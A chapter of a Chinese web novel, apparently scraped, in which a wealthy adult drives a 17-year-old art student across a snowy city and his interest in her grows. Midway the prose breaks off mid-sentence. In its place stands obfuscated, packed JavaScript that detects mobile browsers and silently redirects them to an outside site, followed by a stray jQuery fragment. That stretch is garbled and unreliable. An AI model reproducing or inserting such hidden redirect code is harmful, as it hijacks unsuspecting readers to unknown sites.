6. 暴雪时分

作品:《斯文锁链[京圈]

    秦鹤注视着纤长单薄的身影消失在校门里。


    车窗一直没上回来,司机也知趣地没动,没熄火的车在朗辰艺校门前停了好一阵。


    平地起了风,就着霜地卷起枯树枝搭打在车门上,蹭出尖锐的摩擦声。秦鹤这才按了键,对司机吩咐:“走吧。”


    司机没问去哪儿。


    自打秦鹤回了燕城,每晚固定去的地方只有一个,军总医院。


    车身疾驰,秦鹤低着头,长指悠悠划屏幕,看沈妍的朋友圈。


    除了学校里的打卡,她只发过两回照片。都是和人出去吃饭,拍了满满一桌菜,连个人影都没有。


    人生地不熟,燕城对她来说大约太过无聊。


    一个电话进来,秦鹤似乎有些纳罕地扬了扬眉,接起听着。


    没多会儿,他眉尖蹙起来,半阖着眼,仿佛头痛似的拿指节抵在太阳穴上打圈。


    “您这又是听谁说的,郑伯?”


    听出他态度懒散,那头声调严厉起来:“甭管谁,你少对这圈子里的人动心思。本来老爷子往下就没人再碰这一行了,你非要回来蹚浑水。牵线搭桥说句话的事儿也就罢了,要是仗着势招蜂引蝶瞎胡闹——”


    秦鹤适时截停了他父亲的训斥:“爸,您话得听两头。都没成年的小姑娘,我招惹人干嘛?”


    他说着,拎出支烟来,点着后噙在唇边,青蓝的烟雾逸散开,连带着声音都有些飘飘摇摇的颓靡。


    “瞧着是个有才的,又可怜,提点几句罢了。”


    “这也值得您打电话来。可笑不可笑。”


    秦父哑了片刻,大概也是知道他不是乱来的性子,半晌才又开口告诫:“少造孽。”


    转而又顺道提起另一件事:“你妈让我问你,最近和敏怡联系了么?”


    秦鹤冷淡干脆地回了个字:“没。”


    秦父语气坚决了不少:“别拖了。年前要和周家聚一聚的,到饭桌上再说起这事儿,脸面不好看。”


    秦鹤没应这句,眉眼不为所动地耸了下,仿佛对这后果毫不在意。


    “有空再说吧。我这儿快到医院了,先挂了。”


    他重新看向屏幕,也没什么兴致再往下看沈妍内容单调的朋友圈,拇指一划退出来。


    那会儿她提出加微信。


    秦鹤沉默了几秒,还是将名片亮给了她。


    她一个才十七的小姑娘,无依无靠,有个妈也跟没有差不了多少。


    虽然她心性稳,但毕竟打小没见过这边的场面,还是个清凌凌的倔性子。


    后面进了京艺剧院的地界,指不定会遇上什么事儿。


    留个联系方式,如果真有事,他打声招呼也就解决了。


    举手之劳。


    情理之中。


    这么想来,小姑娘或许自己也有这个主意,算聪明的。


    秦鹤锁了屏幕,准备合眼歇一会儿。顿了顿,又重新拿起手机,顺手将沈妍的名片推给了郑一鸣。


    沈妍睡前看手机,微信蹦出一条好友申请,她瞪大了眼睛,直接愣在原地。


    “小沈你好,我是《南乔》导演郑一鸣。”


    -


    打小在燕城长大的孩子都知道,一下雪,寒假就不远了。


    朗辰艺校是出了名的严格,高三学生放假要晚一周。期末前,沈妍在书本里埋头苦学了一阵,再抬头时,身边同学们已经在七七八八地讨论着家里什么时候来接。


    她这才想起来要买车票,一看,只剩零星几张绿皮车的硬座。


    沈妍试探着问过沈依曼,自己寒假应该怎么安排。


    她私心想留在燕城。


    尽管这儿吃不习惯住不习惯,但这里有妈妈。


    沈依曼过了好几天才回,语气热忱却遗憾:“妍妍乖,妈妈今年不跟你一起回去,替妈妈照顾好外公外婆哦。”


    离校当天又飘起小雪,各式各样的私家车涌到朗辰门前。其中不乏扎眼高调的豪车,保姆下来接过学生的书包,司机在前面疯狂按喇叭开路,热火朝天得像是在打仗。


    喧嚣过后,躲清静的保安叹息着起身,准备给铁门上锁。


    一个拉着箱子的女孩子不急不缓地从里面走出来,薄肩上挎着书包,怀里抱着装满杂物的牛皮纸袋。


    保安等了她一分钟,小姑娘从门里出来时实在腾不开手,只能低了低头致意,眨着眼睛对他说谢谢。


    保安见她东西不少,问:“打车还是有人来接?”


    沈妍朝不远处扬了扬下巴尖:“坐公交。”


    朗辰在燕城是数得上名号的艺校,学生大多是家境不错的本地人,这也是头一回冒出来个提着大包小包挤公交的。


    保安觉得稀奇,站在门前多看了会儿。


    有辆黑色轿车掠过去,车影模糊,像匆匆划过而不打算停留的流星。


    沈妍和门口的保安都没当回事。


    但偏偏这车突然慢了下来,接着在空旷的街道中央原地掉了个头,缓缓开到公交站牌前停下。


    “沈妍。”


    车上的人声音很淡地唤她的名字。


    沈妍莫名有种被牵住的确定感。像是谨小慎微地走钢丝,走了一半,发现腰间有条精良结实的安全绳。


    她情不自禁地微微咧开唇角,“秦先生。”


    秦鹤从车里凝视她纤瘦的身影,抱得东西太重,她薄薄的手背上指节发白。秦鹤低声朝前说了句什么,司机下车,替沈妍拉开车门,又主动从她手里将杂物接过来。


    秦鹤一身灰色休闲装,分外绅士地往里面挪了挪,像是怕她不自在,与她多拉开了点距离。


    真皮座椅上残留一丝凹陷的褶皱。


    她轻飘飘的身子骨坐上去,几乎毫无变化。


    秦鹤将大衣往自己这边拢了拢,垂着眼问她:“去哪儿?送你过去。”


    沈妍:“京艺剧院。开学回来就直接去集训彩排了,我提前把东西放过去。”


    秦鹤心不在焉地嗯了一声,前两天是听郑一鸣提过这事儿。


    他又问:“然后呢?”


    一时想不太起来小叔叔家现在住哪儿。


    沈妍:“火车西站。”


    秦鹤掀起眼皮。


    她补充:“买了下午的车票,回老家过年。”


    他望过来,目光中的散漫渐渐褪去,染上点难以察觉的凉。


    再开口时声音似乎温脉了些:“出来这么久,是不是还挺想家的?”


    沈妍有些说不上来。


    她老家是个文绉绉的江南水乡。寻常北方人提起来,天然会觉得这地方山水人文都该是绕骨的柔。


    沈妍却从没这么想过。


    她妈妈沈依曼也一定和她一样。


    生


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942266|177407||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    斯长斯,可除了外公外婆,沈妍没什么可留恋的。


    她顿了顿,说:“嗯,挺想早点见外公外婆的。他们年纪大了,也一定一直在想着我。”


    她这话仿佛触动了什么。秦鹤听后,狭长的眼角轻弯了弯,眸光清融,似是无言认同。


    秦鹤语调松泛,好像在和她侃家常,又问:“还有别的人想见吗?”


    他本意是想问她有没有玩得好的发小闺蜜。十七八岁的小姑娘,总该有一两个这样的朋友。


    但沈妍静默片刻,眉眼坦然地抿起一抹不抱希冀的弧度。


    她垂下睫,“想见妈妈。”


    但一收到那条消息,她就知道不太可能了。


    车内的空气倏而凝固。秦鹤怔了怔,薄唇相碰,想说点什么,又咽回去。


    他是怜惜这小姑娘的。


    只是偶尔不太理解。


    为什么她要那么执着于一个没心没肝的母亲。


    他叹息了一声,拇指与食指揉着眉心,轻声将话题往别处带:“见她,是想做什么吗?”


    不料沈妍十二分认真地点头:“好多想做的事呢。”


    她仰着脑袋,食指点着下巴尖,一件一件回想。


    “来燕城前,她说这边冬天能堆雪人,能在湖面上滑冰。还有特别多小吃,正宗的冰糖葫芦,豌豆黄,还有那叫什么——很多下水放在一起煮好久的?”


    秦鹤瞥着她,轻描淡写地替她说完:“卤煮?”


    沈妍大力点头:“对!听说特别香。”


    秦鹤轻声嗤笑,宽肩抖簌下一片和缓的纵容,仿佛搅动了车内刚刚僵住的气流。


    他打眼扫去,视线在她清透素白的脸上停了片刻,不自觉地怀疑她这么个柔弱清淡的小姑娘,能不能吃得惯卤煮那种重口味的东西。


    这么一想,他眼前禁不住就有了沈妍鼻尖冒汗,对着碗卤煮蹙眉犯难的样子。


    秦鹤弯起了眸,唇线深了许多。


    这事儿不能细琢磨。


    越琢磨,越想亲眼看一看。


    沈妍没注意他的神色,顾自扭头望着窗外。


    沈依曼骗了她。


    燕城的冬日是灰色的。枝桠光秃秃的,了无生机地站在北风里受刑。即使下了雪,也很快被拥挤的车流碾化,满地都是脏兮兮的泥水。


    根本堆不起来雪人。也没人带她蹚着泥泞去尝试卤煮。


    玻璃窗映着她毫不掩饰的落寞眉眼。


    像受了委屈的瓷娃娃,眼角晕上刚哭过一样淡淡的红,美好又可怜。


    秦鹤的眼里渐渐盖了层阴翳,喉结动了动,几次欲言又止。


    再开口时,口吻似乎掂量着什么:“下午几点的车?”


    沈妍有些没精打采地转回来,情绪明显落了回去。


    “五点四十。”


    秦鹤从喉咙深处“嗯”了一声,低眉凝神思索着什么,久没出声。


    过了会儿,沈妍听见他对司机不咸不淡的嘱咐。


    “等会儿去完京艺剧院,直接往西石桥开。”


    沈妍愣了几秒,想重申一遍自己要去火车西站,抬起眼却被秦鹤春意融融的目光截住。


    他和颜悦色地引诱她:“豆汁儿听说过么,这回一起试试?”


    她徐徐掀动着睫,逐渐反应过来,黯然的瞳底像皎月映雪似的,一点点清亮起来。